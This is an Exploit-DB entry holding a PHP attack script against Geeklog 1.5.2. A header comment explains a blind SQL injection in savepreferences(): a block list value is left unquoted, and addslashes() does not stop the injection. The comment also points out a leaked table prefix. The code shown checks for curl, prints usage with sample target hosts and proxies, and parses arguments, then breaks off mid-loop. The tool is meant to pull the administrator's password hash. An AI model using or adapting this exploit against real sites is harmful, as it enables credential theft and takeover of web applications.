Exploit-DB #8448
Description: Geeklog 1.5.2 - 'savepreferences()/*blocks[]' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-16
Author: Nine:Situations:Group

Exploit:
<?php
    /*
    Geeklog <= 1.5.2 savepreferences()/*blocks[] remote sql injection exploit
    by Nine:Situations:Group::bookoo
     
    our site: http://retrogod.altervista.org/
    software site: http://www.geeklog.net/
     
    PHP and MySQL version independent
     
    vulnerability, see usersettings.php near lines 1467 - 1480:
     
    ...
    if (isset ($_USER['uid']) && ($_USER['uid'] > 1)) {
    switch ($mode) {
    case 'saveuser':
    savepreferences ($_POST);
    $display .= saveuser($_POST);
    PLG_profileExtrasSave ();
    break;
     
    case 'savepreferences':
     
    savepreferences ($_POST);
    $display .= COM_refresh ($_CONF['site_url']
    . '/usersettings.php?mode=preferences&amp;msg=6');
    break;
    ...
     
    all the $_POST[] variables are passed to the savepreferences() function
    now look the function always in usersettings.php:
     
    ...
    function savepreferences($A) {
    global $_CONF, $_TABLES, $_USER;
     
    if (isset ($A['noicons']) && ($A['noicons'] == 'on')) {
    $A['noicons'] = 1;
    } else {
    $A['noicons'] = 0;
    }
    if (isset ($A['willing']) && ($A['willing'] == 'on')) {
    $A['willing'] = 1;
    } else {
    $A['willing'] = 0;
    }
    if (isset ($A['noboxes']) && ($A['noboxes'] == 'on')) {
    $A['noboxes'] = 1;
    } else {
    $A['noboxes'] = 0;
    }
    if (isset ($A['emailfromadmin']) && ($A['emailfromadmin'] == 'on')) {
    $A['emailfromadmin'] = 1;
    } else {
    $A['emailfromadmin'] = 0;
    }
    if (isset ($A['emailfromuser']) && ($A['emailfromuser'] == 'on')) {
    $A['emailfromuser'] = 1;
    } else {
    $A['emailfromuser'] = 0;
    }
    if (isset ($A['showonline']) && ($A['showonline'] == 'on')) {
    $A['showonline'] = 1;
    } else {
    $A['showonline'] = 0;
    }
     
    $A['maxstories'] = COM_applyFilter ($A['maxstories'], true);
    if (empty ($A['maxstories'])) {
    $A['maxstories'] = 0;
    } else if ($A['maxstories'] > 0) {
    if ($A['maxstories'] < $_CONF['minnews']) {
    $A['maxstories'] = $_CONF['minnews'];
    }
    }
     
    $TIDS  = @array_values($A[$_TABLES['topics']]);
    $AIDS  = @array_values($A['selauthors']);
    $BOXES = @array_values($A["{$_TABLES['blocks']}"]); //<--------- this is $_POST[(prefix)blocks]
    $ETIDS = @array_values($A['etids']);
     
    $tids = '';
    if (sizeof ($TIDS) > 0) {
    $tids = addslashes (implode (' ', $TIDS));
    }
     
    $aids = '';
    if (sizeof ($AIDS) > 0) {
    $aids = addslashes (implode (' ', $AIDS));
    }
     
    $selectedblocks = '';
    if (count ($BOXES) > 0) {
    $boxes = addslashes (implode (',', $BOXES)); //<---------- this addslashes() is totally unuseful
     
    //**** SQL INJECTION HERE *** $boxes is not surrounded by quotes!
    $blockresult = DB_query("SELECT bid,name FROM {$_TABLES['blocks']} WHERE bid NOT IN ($boxes)");
     
    $numRows = DB_numRows($blockresult);
    for ($x = 1; $x <= $numRows; $x++) {
    $row = DB_fetchArray ($blockresult);
    if ($row['name'] <> 'user_block' AND $row['name'] <> 'admin_block' AND $row['name'] <> 'section_block') {
    $selectedblocks .= $row['bid'];
    if ($x <> $numRows) {
    $selectedblocks .= ' ';
    }
    }
    }
    }
    ...
     
    read the lines commented!
     
    This tool extracts the admin hash from db by asking true/false questions
    to MySQL and interpreting some checkboxes in response, but requires a simple user account.
     
    vulnerability ii, information disclosure:
    now I see that table prefix is showed inside html because they used table names for the $_TABLES[] array
    */
     
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
     
    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
            nil;
        } else {
            !dl("php_curl.so") ? die($err[1]) :
            nil;
        }
    }
     
    function syntax() {
        print (
        "Syntax: php ".$argv[0]." [host] [path] [user] [pass] [OPTIONS]         \n". "Options:                                                               \n". "--c:[uid:hash    ]  - use your user cookie, instead of uses/pwd pair   \n". "--port:[port]       - specify a port                                   \n". "                      default->80                                      \n". "--uid:[n]           - specify an uid other than default (2,usually admin)\n". "--proxy:[host:port] - use proxy                                          \n". "--skiptest          - skip preliminary tests                             \n". "--test              - run only tests                                     \n". "Examples:   php ".$argv[0]." 192.168.0.1 /geeklog/ bookoo pass          \n". "            php ".$argv[0]." 192.168.0.1 / bookoo pass --proxy:1.1.1.1:8080\n". "            php ".$argv[0]." 192.168.0.1 / bookoo pass --uid:3             \n". "            php ".$argv[0]." 192.168.0.1 /geeklog/ * * -c:3:5f4dcc3b5aa765d61d8327deb882cf99");
        die();
    }
     
    error_reporting(E_ALL ^ E_NOTICE);
    $host = $argv[1];
    $path = $argv[2];
    $_user = $argv[3];
    $_pwd = $argv[4];
     
    //default
    $uid = "2";
    $where = "uid=$uid"; //user id, usually admin, anonymous = 1
     
     
    $argv[4] ? print("[*] Attacking...\n") :
    syntax();
     
    $_use_proxy = false;
    $port = 80;
    $_skiptest = false;
    $_test = false;
    $_use_ck = false;
     
     
    for ($i = 3; $i < $argc; $i++) {
         
        if (stristr($argv[$i], "--proxy:")) {
            $_use_proxy = true;
            $tmp = explode(":", $argv[$i]);